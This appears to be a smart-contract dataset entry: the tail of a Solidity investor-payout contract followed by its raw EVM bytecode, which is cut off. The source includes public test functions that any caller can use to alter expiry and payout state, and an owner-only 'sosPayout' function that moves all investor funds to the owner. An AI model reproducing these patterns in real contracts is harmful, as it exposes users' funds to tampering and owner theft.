function RemainingInvestorPayout(uint quantity) public onlyOwner returns (bool){
require(IsExpired, "Contract Is Still Alive");
require(userCounter >= nextUnpaidUser, "All users are paid");
for(uint32 i = 0; i < quantity; i++){
if(userlistbyid[uint32(nextUnpaidUser)].IsPayout == false && userlistbyid[uint32(nextUnpaidUser)].IsEndGamePayout == false){
userlistbyid[uint32(nextUnpaidUser)].IsEndGamePayout = true;
ERC20Interface.transfer(userlistbyid[uint32(nextUnpaidUser)].OwnerAddress, PayoutAmount);
UnpaidUserCount--;
}
nextUnpaidUser += idcounter;
if(nextUnpaidUser > userCounter){
return true;
}
}
return true;
}
function GetContractBalance() view public returns(uint){
return ERC20Interface.balanceOf(address(this)) - MainterPayoutAmount;
}
function GetMaintainerAmount() view public returns(uint){
return MainterPayoutAmount;
}
function GetExpiryInvestmentTimestamp() view public returns(uint){
return ExpiryInvestmentTimestamp;
}
function GetIsExpired() view public returns (bool){
return IsExpired;
}
function GetUnpaidUserCount() view public returns (int){
return UnpaidUserCount;
}
function setMaintainer(address address_)
public
onlyOwner
returns (bool)
{
require(address_ != 0x0);
maintainer = address_;
return true;
}
function setToken(address address_)
public
onlyOwner
returns (bool)
{
require(address_ != 0x0);
token = address_;
return true;
}
function testSetExpiryTrue() public{
ExpiryInvestmentTimestamp = time_call() - 366 days;
}
function testSetExpiryFalse() public{
ExpiryInvestmentTimestamp = time_call();
IsExpired = false;
PayoutAmount = 0;
}
// function clearRemaingBalance() public onlyOwner{
// require(IsExpired);
// require(PayoutAmount > 0);
// require(UnpaidUserCount == 0);
// ERC20Interface.transfer(maintainer , GetContractBalance());
// }
function sosPayout() public onlyOwner{
ERC20Interface.transfer(msg.sender , GetContractBalance());
ERC20Interface.transfer(msg.sender , GetMaintainerAmount());
IsExpired = true;
}
}
|
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063137e74a4146101f357806313ea5d291461021e578063144fa6d71461025b5780631a107286146102985780631bbc4b83146102af5780631e6c5722146102da5780631f8ddaeb14610305578063278e7244146103305780632e17ae4e1461035b5780632e2d979b14610398578063395bf2a3146103c35780634c313fc2146103da57806369c212f614610417578063715018a614610454578063866d4ea51461046b5780638778a41e1461049657806389e7959f146104ad5780638da5cb5b146104d857806390f671e3146105035780639441492b1461051a57806394e26427146105455780639850d32b14610570578063988006441461059b5780639dc4b9c9146105d8578063a475945f14610603578063a8b33e991461062e578063c1f0934814610659578063c2390b5914610670578063c99de57e1461069b578063cd52de91146106c9578063cf1fd8ff14610706578063cf30347014610743578063d7ad83051461076e578063daa2ceac14610797578063daab9f48146107d4578063efc32b4a146107ff578063f0c37a591461083c578063f2fde38b14610867578063f6d0bf2f14610890578063fc0c546a146108bb575b600080fd5b3480156101ff57600080fd5b506102086108e6565b6040516102159190615b87565b60405180910390f35b34801561022a57600080fd5b5061024560048036036102409190810190615045565b6108ec565b6040516102529190615964565b60405180910390f35b34801561026757600080fd5b50610282600480360361027d9190810190615045565b6109b9565b60405161028f9190615964565b60405180910390f35b3480156102a457600080fd5b506102ad610a86565b005b3480156102bb57600080fd5b506102c4610ca4565b6040516102d1919061597f565b60405180910390f35b3480156102e657600080fd5b506102ef610cca565b6040516102fc9190615ba2565b60405180910390f35b34801561031157600080fd5b5061031a610ce0565b6040516103279190615b87565b60405180910390f35b34801561033c57600080fd5b50610345610ce6565b6040516103529190615b87565b60405180910390f35b34801561036757600080fd5b50610382600480360361037d919081019061506e565b610cec565b60405161038f91906159b5565b60405180910390f35b3480156103a457600080fd5b506103ad610d31565b6040516103ba9190615b87565b60405180910390f35b3480156103cf57600080fd5b506103d8610d3b565b005b3480156103e657600080fd5b5061040160048036036103fc9190810190615045565b610d6e565b60405161040e9190615920565b60405180910390f35b34801561042357600080fd5b5061043e60048036036104399190810190615045565b610e2b565b60405161044b9190615920565b60405180910390f35b34801561046057600080fd5b50610469610ee8565b005b34801561047757600080fd5b50610480610fea565b60405161048d9190615964565b60405180910390f35b3480156104a257600080fd5b506104ab611001565b005b3480156104b957600080fd5b506104c2611210565b6040516104cf9190615b87565b60405180910390f35b3480156104e457600080fd5b506104ed61121a565b6040516104fa9190615837565b60405180910390f35b34801561050f57600080fd5b50610518611240565b005b34801561052657600080fd5b5061052f611256565b60405161053c9190615b87565b60405180910390f35b34801561055157600080fd5b5061055a61125c565b604051610567919061599a565b60405180910390f35b34801561057c57600080fd5b50610585611262565b6040516105929190615837565b60405180910390f35b3480156105a757600080fd5b506105c260048036036105bd9190810190615161565b611288565b6040516105cf9190615964565b60405180910390f35b3480156105e457600080fd5b506105ed611d98565b6040516105fa91906159d0565b60405180910390f35b34801561060f57600080fd5b50610618611dab565b6040516106259190615964565b60405180910390f35b34801561063a57600080fd5b50610643611dbe565b6040516106509190615b87565b60405180910390f35b34801561066557600080fd5b5061066e611dc4565b005b34801561067c57600080fd5b50610685612077565b604051610692919061599a565b60405180910390f35b3480156106a757600080fd5b506106b0612081565b6040516106c094939291906158b2565b60405180910390f35b3480156106d557600080fd5b506106f060048036036106eb9190810190615161565b6120ec565b6040516106fd9190615b6b565b60405180910390f35b34801561071257600080fd5b5061072d6004803603610728919081019061518a565b6122af565b60405161073a9190615942565b60405180910390f35b34801561074f57600080fd5b50610758612816565b6040516107659190615b87565b60405180910390f35b34801561077a57600080fd5b5061079560048036036107909190810190615161565b61281c565b005b3480156107a357600080fd5b506107be60048036036107b9919081019061510f565b61293b565b6040516107cb9190615964565b60405180910390f35b3480156107e057600080fd5b506107e9612c67565b6040516107f6919061599a565b60405180910390f35b34801561080b57600080fd5b50610826600480360361082191908101906150d3565b612c6d565b6040516108339190615964565b60405180910390f35b34801561084857600080fd5b50610851613dd3565b60405161085e919061599a565b60405180910390f35b34801561087357600080fd5b5061088e60048036036108899190810190615045565b613dd9565b005b34801561089c57600080fd5b506108a5613f2e565b6040516108b29190615b87565b60405180910390f35b3480156108c757600080fd5b506108d0614002565b6040516108dd9190615837565b60405180910390f35b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561096f57600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1657600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610a3c57600080fd5b81600760046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae157600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b28613f2e565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401610b619291906158f7565b602060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bb391908101906150aa565b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610bfb610d31565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401610c349291906158f7565b602060405180830381600087803b158015610c4e57600080fd5b505af1158015610c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610c8691908101906150aa565b506001600c60006101000a81548160ff021916908315150217905550565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900463ffffffff1681565b600b5481565b60165481565b600360205281600052604060002081815481101515610d0757fe5b9060005260206000209060089182820401919006600402915091509054906101000a900460030b81565b6000600e54905090565b610d43614028565b600b819055506000600c60006101000a81548160ff0219169083151502179055506000600d81905550565b6060600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610e1f57602002820191906000526020600020906000905b82829054906101000a900460030b60030b81526020019060040190602082600301049283019260010382029150808411610de85790505b50505050509050919050565b6060600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610edc57602002820191906000526020600020906000905b82829054906101000a900460030b60030b81526020019060040190602082600301049283019260010382029150808411610ea55790505b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600c60009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105e57600080fd5b611066614030565b1515156110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90615b4b565b60405180910390fd5b6000600d541415156110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690615acb565b60405180910390fd5b6000600e5414151561110457611103611dc4565b5b61110c614030565b151561120d576001600c60006101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016111a49190615837565b602060405180830381600087803b1580156111be57600080fd5b505af11580156111d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111f69190810190615138565b9050600f548181151561120557fe5b04600d819055505b50565b6000600b54905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6301e2850061124d614028565b03600b81905550565b60175481565b60105481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006060611294614e87565b6000600260008663ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff16156112d45760009350611d90565b60026040519080825280602002602001820160405280156113045781602001602082028038833980820191505090505b5092507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008763ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b60030b1415156118435760026000600260008863ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b14158015611586575060018260a0015160030b14155b1561183557816080015183600081518110151561159f57fe5b9060200190602002019060030b908160030b815250508160a001518360018151811015156115c957fe5b9060200190602002019060030b908160030b81525050600090505b8251811015611830576002600084838151811015156115ff57fe5b9060200190602002015163ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b148061181557507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8260a0015160030b145b156118235760009350611d90565b80806001019150506115e4565b61183e565b60009350611d90565b61184c565b60009350611d90565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008763ffffffff1663ffffffff168152602001908152602001600020600001600e9054906101000a900460030b60030b141515611d8b5760026000600260008863ffffffff1663ffffffff168152602001908152602001600020600001600e9054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b14158015611acb575060018260a0015160030b14155b15611d82578160800151836000815181101515611ae457fe5b9060200190602002019060030b908160030b815250508160a00151836001815181101515611b0e57fe5b9060200190602002019060030b908160030b8152505060009050600090505b8251811015611d7957600260008483815181101515611b4857fe5b9060200190602002015163ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b1480611d5e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8260a0015160030b145b15611d6c5760009350611d90565b8080600101915050611b2d565b60019350611d90565b60009350611d90565b600093505b505050919050565b600460009054906101000a900460000b81565b600c60009054906101000a900460ff1681565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2157600080fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9690615a0b565b60405180910390fd5b6000600e54111515611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90615a2b565b60405180910390fd5b6000600e5414151561207457600760049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760009054906101000a900463ffffffff1663ffffffff1614151561207357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e546040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016120179291906158f7565b602060405180830381600087803b15801561203157600080fd5b505af1158015612045573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061206991908101906150aa565b506000600e819055505b5b50565b6000600f54905090565b60128060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900460ff16905084565b6120f4614e87565b600260008363ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff16151515158152602001600282015481526020016003820154815250509050919050565b60606000806060600080600080600260008b63ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b965060009550881561231a57600180600460009054906101000a900460000b60000b0160020a03955061231f565b600f95505b8560405190808252806020026020018201604052801561235957816020015b612346614f20565b81526020019060019003908161233e5790505b50945060009350600292506002915060026000600160008a63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050858581518110151561255957fe5b9060200190602002018190525083806001019450505b60011561280657600287029650600090505b8263ffffffff168163ffffffff1610156127aa576002600060016000848b0163ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050858581518110151561278857fe5b9060200190602002018190525083806001019450508080600101915050612581565b60028302925081806001019250506000151589151514156127de5760088363ffffffff1611156127d957612806565b612801565b600460009054906101000a900460000b60000b8260000b131561280057612806565b5b61256f565b8497505050505050505092915050565b60185481565b600c60009054906101000a900460ff1615151561286e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286590615a8b565b60405180910390fd5b600260008263ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291790615b2b565b60405180910390fd5b61292981611288565b15612938576129378161407e565b5b50565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561299957600080fd5b600c60009054906101000a900460ff1615156129ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e190615aab565b60405180910390fd5b60105460055412151515612a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2a90615a6b565b60405180910390fd5b600090505b828163ffffffff161015612c5c57600015156002600060105463ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff161515148015612ac05750600015156002600060105463ffffffff1663ffffffff16815260200190815260200160002060010160159054906101000a900460ff161515145b15612c285760016002600060105463ffffffff1663ffffffff16815260200190815260200160002060010160156101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6002600060105463ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401612bc19291906158f7565b602060405180830381600087803b158015612bdb57600080fd5b505af1158015612bef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612c1391908101906150aa565b50600f60008154809291906001900391905055505b6006546010600082825401925050819055506005546010541315612c4f5760019150612c61565b8080600101915050612a38565b600191505b50919050565b600f5481565b600080612c78614e87565b6060612c82614e87565b6000806000808a60000b131515612cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc590615aeb565b60405180910390fd5b612cd789614297565b1515612d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0f90615b0b565b60405180910390fd5b612d20614030565b1515612d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5890615a4b565b60405180910390fd5b600096505b8960000b8760030b1215613dc257600c60009054906101000a900460ff16151515612dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbd90615a4b565b60405180910390fd5b612dcf8961431a565b1515612dda57600080fd5b6001604051908082528060200260200182016040528015612e0a5781602001602082028038833980820191505090505b5094506001856000815181101515612e1e57fe5b9060200190602002019060030b908160030b815250506001600760009054906101000a900463ffffffff1663ffffffff161415613405576001866000019060030b908160030b815250506000866020019060000b908160000b815250506000866040019060000b908160000b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866060019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866080019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660a0019060030b908160030b8152505060018660c0019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660e0019060030b908160030b815250503386610100019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001866101200190151590811515815250506001866101400190151590811515815250506000866101600181815250506000866101800181815250508560026000600163ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff021916908315150217905550610160820151816002015561018082015181600301559050508560016000600163ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff021916908315150217905550610160820151816002015561018082015181600301559050506002600760006101000a81548163ffffffff021916908363ffffffff1602179055505b600654600560008282540192505081905550600260008a63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050935060009250836020015160000b915060028260030b12156135f7576135f0896147c5565b9250613603565b61360089614a7d565b92505b600090507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008563ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b60030b1415156136b15760019050600554600260008563ffffffff1663ffffffff168152602001908152602001600020600001600e6101000a81548163ffffffff021916908360030b63ffffffff1602179055506136f8565b600554600260008563ffffffff1663ffffffff168152602001908152602001600020600001600a6101000a81548163ffffffff021916908360030b63ffffffff1602179055505b600554866000019060030b908160030b815250506000866020019060000b908160000b815250506001600260008563ffffffff1663ffffffff16815260200190815260200160002060000160059054906101000a900460000b01866040019060000b908160000b8152505082866060019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866080019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660a0019060030b908160030b815250508060028060008663ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b0260030b018660c0019060030b908160030b815250503386610100019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050888660e0019060030b908160030b81525050600086610120019015159081151581525050600086610140019015159081151581525050613898614e7f565b866101600181815250506138aa614028565b86610180018181525050600460009054906101000a900460000b60000b866040015160000b13156138f8578560400151600460006101000a81548160ff021916908360000b60ff1602179055505b856002600060055463ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff0219169083151502179055506101608201518160020155610180820151816003015590505085600160008860c0015163ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff02191690831515021790555061016082015181600201556101808201518160030155905050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208660000151908060018154018082558091505090600182039060005260206000209060089182820401919006600402909192909190916101000a81548163ffffffff021916908360030b63ffffffff160217905550506301e13380613dae614028565b01600b819055508680600101975050612d66565b600197505050505050505092915050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e3457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613e7057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600e54601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263fffffff